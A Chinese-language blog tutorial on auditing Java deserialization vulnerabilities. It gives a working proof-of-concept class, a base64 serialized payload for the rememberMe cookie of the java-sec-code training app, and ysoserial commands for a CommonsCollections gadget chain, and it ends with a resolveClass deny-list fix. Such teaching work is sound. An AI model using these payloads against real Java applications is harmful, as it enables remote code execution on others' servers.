HacKerQWQ的博客空间

javaweb代码审计(反序列化漏洞)

Word count: 2.2kReading time: 9 min
2021/12/13 Share

Java序列化与反序列化用法

序列化与反序列化介绍

对象序列化的目的:

Java是面向对象编程,在javaweb中常见的序列化的例子是SESSION,为了方便存储,将对象转换为字符串大大节省了内存空间。

  1. 对象的序列化是将Object=>byte[],反序列化是将byte[]=>Object
  2. 对象序列化须实现java.io.Serializable接口,相当于一个标准
  3. 序列化通过ObjectOutputStreamwriteObject方法,反序列化通过ObjectInputStreamreadObject方法
  4. 将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就默认不会序列化
  5. 可序列化的类都需要声明一个serialVersionUID常量,如果为声明会自动计算,序列化时的serialVersionUID需要和反序列化时的serialVersionUID相同
  6. 如果子类对象的父类没有实现java.io.Serializable接口,那么父类的构造函数就会被调用

java.io.Serializable序列化与反序列化

序列化与反序列化例子

Student类(继承Serizlizable类)

image-20211213130943011

ObjectOutputStream.writeObject()序列化Student并输出到文件serialize.txt文件,从文件读取序列化的字节流并用ObjectInputStream.readObject()反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class SeriTest {
public static void main(String[] args) throws Exception{
//创建student对象并赋值
Student student = new Student("123","456",12);
//创建ObjectOutputStream输出到文件
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.txt"));
//将对象序列化存放到文件
objectOutputStream.writeObject(student);
//强制将缓存区输出
objectOutputStream.flush();
//关闭输出流
objectOutputStream.close();

//创建ObjectInputStream读取字节流
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.txt"));
//获取Student实例对象
Student stu = (Student)objectInputStream.readObject();
//获得
System.out.println(stu.getStuage());

}
}

serialize.txt文件内容

image-20210728220739924

也可以不输出到文件,输出到ByteArrayInputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.anbai.sec.serializes;

import java.io.*;
import java.util.Arrays;

/**
* Creator: yz
* Date: 2019/12/15
*/
public class DeserializationTest implements Serializable {

private String username;

private String email;

// 省去get/set方法....

public static void main(String[] args) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();

try {
// 创建DeserializationTest类,并类设置属性值
DeserializationTest t = new DeserializationTest();
t.setUsername("yz");
t.setEmail("admin@javaweb.org");

// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);

// 序列化DeserializationTest类
out.writeObject(t);
out.flush();
out.close();

// 打印DeserializationTest类序列化以后的字节数组,我们可以将其存储到文件中或者通过Socket发送到远程服务地址
System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray()));

// 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);

// 反序列化输入流数据为DeserializationTest对象
DeserializationTest test = (DeserializationTest) in.readObject();
System.out.println("用户名:" + test.getUsername() + ",邮箱:" + test.getEmail());

// 关闭ObjectInputStream输入流
in.close();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}

}

writeObject与readObject自定义序列化与反序列化方法

当属性有transient关键字时,writeObject默认不会序列化该属性,但是我们可以自定义该属性的方法

1
2
3
4
5
6
7
8
9
10
transient private int stuage;

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
s.writeInt(stuage);
}
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
this.stuage = s.readInt();
}

当我们重写writeObject之后,向对象中新增的对象,最终都会写入到objectAnnotation这个属性中,下面通过writeObject新增了一个字符串对象,并且通过readObject进行读取

image-20221104110735622

此时使用SerializationDumper工具进行查看能够看到该字符串对象被添加到了objectAnntation这个属性中

1
java -jar .\SerializationDumper-v1.13.jar -r de.ser

image-20221104110903386

也可以用kali下的msf-java_deserializer

1
msf-java_deserializer de.ser

image-20221104112059470

java.io.Externalizable序列化与反序列化

java.io.Externalizablejava.io.Serializable几乎一样,只是java.io.Externalizable接口定义了writeExternalreadExternal方法需要序列化和反序列化的类实现,其余的和java.io.Serializable并无差别。

1
2
3
4
5
6
7
public interface Externalizable extends java.io.Serializable {

void writeExternal(ObjectOutput out) throws IOException;

void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;

}

反序列化漏洞

反序列化漏洞简单介绍

一旦用户输入的不可信数据进行了反序列化操作,那么就有可能触发序列化参数中的恶意代码,非预期的对象可能会造成任意代码执行,对服务器进行攻击等。

当readObject()存在利用点时存在反序列化漏洞,例如

1
2
3
4
5
private String command="calc";
private void readObject(java.io.ObjectInputStream stream)throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(command);
}

在Student类中添加以上代码,再进行反序列化操作的时候就会调用重写的这个readObjetct,里面包含命令执行的代码,执行结果:

image-20211213220605494

反序列化漏洞存在的根本原因在于反序列化后的类没有做类型限制

同时在Java存在大量的公用库,如Apache Commons Collections,在这其中一些类可以被反序列化来实现任意代码执行,WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的反序列化漏洞就是利用了Apache Commons Collections库的链子。

反序列化代码审计的思路:

  1. 查找反序列化代码关键字如ObjectInputStream.readObject
  2. 查看Class Path是否包含Apache Commons Collections等危险库(ysoserial支持的其他库也可)

反序列化代码审计的关键代码

1
2
3
4
5
6
7
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

反序列化代码审计例子

这里用到java-sec-code作为例子,这个项目包含了很多安全漏洞,适合Java代码审计的学习,也在注释提供了漏洞修复的代码

IDEA安装

image-20211213223136278

账号密码:

1
2
admin/admin123
joychou/joychou123

反序列化代码:
image-20211213224644865

在rememberVul方法中存在漏洞,首先通过getCookie获取remberMe这个Cookie值,对其进行Base64解码之后就进行反序列化操作,没有进行反序列化后的类的类型的判断。

构造payload如下

Exploit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.*;

public class Exploit implements Serializable {
private String command="calc";
private void readObject(java.io.ObjectInputStream stream)throws Exception{
stream.defaultReadObject();
Process ps = Runtime.getRuntime().exec(command);
// BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(ps.getInputStream()));
// String line;
// StringBuilder result = new StringBuilder();
// while((line= bufferedReader.readLine())!=null){
// result.append(line).append("\n");
// }
// bufferedReader.close();
// return result.toString();
}
}

注释部分为命令回显的情况,再写一个ExploitImpl用于实现Exploit类得到序列化的字节

ExploitImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class ExploitImpl {
public static void main(String[] args) throws IOException {
Exploit exp = new Exploit();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("seri.txt"));
out.writeObject(exp);
out.flush();
out.close();
System.out.println("序列化完成");
Path path = Paths.get("seri.txt");
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(Base64.getEncoder().encode(bytes)));
}
}

运行得到序列化字符串的字节组的base64值

rO0ABXNyAA9vcmcuRVhQLkV4cGxvaXQqtKzjGPgJngIAAUwAB2NvbW1hbmR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABGNhbGM=添加到rememberMe即可执行命令弹计算器

image-20211214000515541

image-20211214000538037

反序列化工具ysoserial

ysoserial工具地址:https://github.com/frohoff/ysoserial

工具描述:ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects

ysoserial是在通用 Java 库中发现的实用程序和面向属性的编程“小工具链”的集合,它们可以在适当的条件下利用执行对象不安全反序列化的Java 应用程序

编译方法:

1
mvn clean package -DskipTests

简单用法:

1
java -jar ysoserial-[version]-all.jar [payload] '[command]'

image-20211214002229803

生成CC链

1
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 calc|base64|tr -d "\n"

image-20211214002342661

BurpSuite发起请求

image-20211214002421440

成功反序列化

反序列化漏洞修复

在java-sec-code中给出了修复方案:

反序列化时会通过resolveClass方法读取反序列化的类名,所以可以通过重写ObjectInputStream对象的resolveClass方法来实现对反序列化类的校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class AntObjectInputStream extends ObjectInputStream {

protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class);

public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* 只允许反序列化SerialObject class
*
* 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
* 类似fastjson通用类的反序列化就不能校验。
* 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
*
*/
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String className = desc.getName();

// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
logger.info("Deserialize class name: " + className);

String[] denyClasses = {"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors"};

for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}
}

实现方法中只需要将ObjectInputStream换成我们的AntObjectInputStream类就可以了

image-20211214003636185

实现效果如下:

image-20211214003658582

成功被拦截

CATALOG
  1. 1. Java序列化与反序列化用法
    1. 1.1. 序列化与反序列化介绍
    2. 1.2. java.io.Serializable序列化与反序列化
      1. 1.2.1. 序列化与反序列化例子
      2. 1.2.2. writeObject与readObject自定义序列化与反序列化方法
    3. 1.3. java.io.Externalizable序列化与反序列化
  2. 2. 反序列化漏洞
    1. 2.1. 反序列化漏洞简单介绍
    2. 2.2. 反序列化代码审计的关键代码
    3. 2.3. 反序列化代码审计例子
    4. 2.4. 反序列化工具ysoserial
  3. 3. 反序列化漏洞修复